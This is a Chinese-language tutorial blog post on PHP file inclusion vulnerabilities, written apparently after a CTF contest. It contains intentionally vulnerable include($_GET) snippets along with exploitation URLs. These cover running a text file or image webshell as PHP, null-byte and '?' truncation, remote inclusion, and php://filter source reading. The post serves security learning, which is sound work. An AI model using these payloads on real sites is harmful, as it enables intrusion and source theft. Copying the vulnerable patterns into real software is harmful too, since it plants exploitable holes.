您好,登錄后才能下訂單哦!
文件包含漏洞介紹:
程序開發人員一般會把重復使用的函數寫到單個文件中,需要使用某個函數時直接調用此文件,而無需再次編寫,這中文件調用的過程一般被稱為文件包含。程序開發人員一般希望代碼更靈活,所以將被包含的文件設置為變量,用來進行動態調用,但正是由于這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。幾乎所有腳本語言都會提供文件包含的功能,但文件包含漏洞在PHP中居多,而在JSP、ASP、ASP.NET程序中卻非常少,甚至沒有,這是有些語言設計的弊端。在PHP中經常出現包含漏洞,但這并不意味這其他語言不存在。
漏洞成因:
文件包含漏洞的產生原因是在通過引入文件時,引用的文件名,用戶可控,由于傳入的文件名沒有經過合理的校驗,或者校驗被繞過,從而操作了預想之外的文件,就 可能導致意外的文件泄露甚至惡意的代碼注入。當被包含的文件在服務器本地時,就形成的本地文件包含漏洞,被包涵的文件在第三方服務是,就形成了遠程文件包 含漏洞。
漏洞危害:
執行惡意代碼、包含惡意文件控制網站、甚至控制網站服務器等。
本地包含漏洞:
代碼:
<?PHP $file=@$_GET['name']; if($file){ include $file; } ?>
以以上這個代碼為例:
訪問:http://127.0.0.1/fileupload/include.php?name=1.txt
txt文件代碼為:
<?php phpinfo(); ?>
我們可以看到txt文件里的內容以php文件的方式執行了;如下圖所示:
再看,如果訪問:http://127.0.0.1/fileupload/include.php?name=2.jpg
2.jpg是一個圖片的一句話***;
用菜刀可以直接連接,也就是說不管后綴是什么樣,最后都會以php的形式執行。
但是有時候會這樣,這個在ISCC國賽中遇到了,就是在最后會自動加入.php,非常煩人。
代碼2:
<?php Include $_GET['page'].".php" ?>
執行結果如下圖:
如果訪問:http://127.0.0.1/fileupload/include2.php?page=1.txt
還是報錯。
解決辦法:%00截斷
利用環境:php版本<5.3magic_quotes_gpc取消的(magic_quotes_gpc = off)
訪問:http://127.0.0.1/fileupload/include2.php?page=1.txt%00
遠程包含:
遠程的文件名不能為php可解析的擴展名(php、php5..),而且php.ini中allow_url_fopen和allow_url_include為On才可以。
訪問:http://127.0.0.1/fileupload/include.php?name=http://127.0.0.1/1.txt
如果是遇到這種情況:
可以用“?”或者“%00”階段;
http://127.0.0.1/fileupload/include2.php?page=http://127.0.0.1/1.txt?
讀取源碼:php://filter/read=convert.base64-encode/resource=1.txt
http://127.0.0.1/fileupload/include.php?name=php://filter/read=convert.base64-encode/resource=1.txt
讀取出來的是base64編碼的,進行解碼就行了。
php://input的用法
php://input
偽協議繞過大小寫:
<?php if(isset($_GET['f'])){ if(strpos($_GET['f'],"php") !== False){ die("error..."); } else{ include($_GET['f'] . '.php'); } } ?>
http://127.0.0.1//index.php?f=pHP://filter/read=convert.base64-encode/resource=index
readfile讀取文件,不可以getshell
<?php @readfile($_GET["file"]); ?>
總結:這些在iscc的國賽賽中出現過,如果當時會階段或者會讀取源碼,也就能獲獎了,學無止境,加油吧。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。